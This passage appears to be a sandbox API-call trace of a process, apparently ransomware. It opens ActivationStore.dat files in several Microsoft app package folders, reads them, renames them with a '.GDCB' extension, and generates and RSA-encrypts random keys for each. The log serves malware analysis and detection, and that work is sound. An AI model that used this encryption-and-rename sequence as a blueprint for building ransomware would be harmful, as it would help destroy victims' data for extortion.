pdwDataLen=0x285ddc8*=0x100) returned 1 [0290.964] GetLastError () returned 0x0 [0290.964] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.964] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\microsoft.bingnews_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0290.965] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd560000 [0290.969] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd570000 [0290.971] ReadFile (in: hFile=0x504, lpBuffer=0xd570000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd570000*, lpNumberOfBytesRead=0x285de08*=0x8000, lpOverlapped=0x0) returned 1 [0290.990] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xd680000 [0290.998] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\microsoft.bingnews_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\microsoft.bingnews_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0291.027] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0291.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.034] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0291.034] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0291.034] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0291.037] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.040] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0291.040] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.040] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0291.048] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa770) returned 1 [0291.048] CryptGetKeyParam (in: hKey=0x67aa770, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.048] CryptEncrypt (in: hKey=0x67aa770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd540000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0291.048] GetLastError () returned 0x0 [0291.048] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.048] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0291.051] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa8b0) returned 1 [0291.051] CryptGetKeyParam (in: hKey=0x67aa8b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.051] CryptEncrypt (in: hKey=0x67aa8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd550000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd550000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0291.051] GetLastError () returned 0x0 [0291.051] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.051] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\microsoft.bingsports_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0291.052] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd560000 [0291.056] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd570000 [0291.059] ReadFile (in: hFile=0x504, lpBuffer=0xd570000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd570000*, lpNumberOfBytesRead=0x285de08*=0x8000, lpOverlapped=0x0) returned 1 [0291.073] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xd680000 [0291.081] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\microsoft.bingsports_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\microsoft.bingsports_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0291.113] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0291.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.120] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.120] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0291.120] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.120] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0291.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.126] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0291.126] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.127] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0291.129] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa630) returned 1 [0291.129] CryptGetKeyParam (in: hKey=0x67aa630, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.129] CryptEncrypt (in: hKey=0x67aa630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd540000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0291.129] GetLastError () returned 0x0 [0291.129] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.129] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0291.132] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa670) returned 1 [0291.132] CryptGetKeyParam (in: hKey=0x67aa670, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.132] CryptEncrypt (in: hKey=0x67aa670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd550000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd550000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0291.132] GetLastError () returned 0x0 [0291.132] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0291.132] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\microsoft.bingweather_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0291.133] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd560000 [0291.138] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd570000 [0291.142] ReadFile (in: hFile=0x504, lpBuffer=0xd570000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd570000*, lpNumberOfBytesRead=0x285de08*=0x8000, lpOverlapped=0x0) returned 1 [0291.152] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xd680000 [0291.159] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\microsoft.bingweather_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\microsoft.bingweather_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0291.183] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0291.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.190] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0291.190] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.190] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0291.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.196] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.196] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0291.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.196] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0291.199] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa270) returned 1 [0291.200] CryptGetKeyParam (in: hKey=0x67aa270, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.200] CryptEncrypt (in: hKey=0x67aa270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd540000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0291.200] GetLastError () returned 0x0 [0291.200] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.200] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0291.202] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa730) returned 1 [0291.202] CryptGetKeyParam (in: hKey=0x67aa730, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.202] CryptEncrypt (in: hKey=0x67aa730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd550000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd550000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0291.202] GetLastError () returned 0x0 [0291.202] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.203] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0291.232] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0291.236] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.238] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0291.238] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.238] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0291.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.244] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.244] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0291.244] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.245] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0291.247] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa470) returned 1 [0291.247] CryptGetKeyParam (in: hKey=0x67aa470, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.247] CryptEncrypt (in: hKey=0x67aa470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0291.247] GetLastError () returned 0x0 [0291.247] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.248] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0291.250] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa4b0) returned 1 [0291.250] CryptGetKeyParam (in: hKey=0x67aa4b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.250] CryptEncrypt (in: hKey=0x67aa4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0291.250] GetLastError () returned 0x0 [0291.250] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0291.250] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\microsoft.getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0291.251] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.255] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.258] ReadFile (in: hFile=0x504, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285de08*=0x4000, lpOverlapped=0x0) returned 1 [0291.280] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.287] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\microsoft.getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\microsoft.getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0291.317] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0291.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.324] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.324] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0291.324] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.324] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0291.328] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.331] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.331] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0291.331] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.331] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0291.334] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa7b0) returned 1 [0291.334] CryptGetKeyParam (in: hKey=0x67aa7b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.334] CryptEncrypt (in: hKey=0x67aa7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0291.334] GetLastError () returned 0x0 [0291.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.334] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0291.336] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa7f0) returned 1 [0291.336] CryptGetKeyParam (in: hKey=0x67aa7f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0291.336] CryptEncrypt (in: hKey=0x67aa7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0291.337] GetLastError () returned 0x0 [0291.337] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.337] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0291.338] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.343] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.346] ReadFile (in: hFile=0x504, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285de08*=0x4000, lpOverlapped=0x0) returned 1 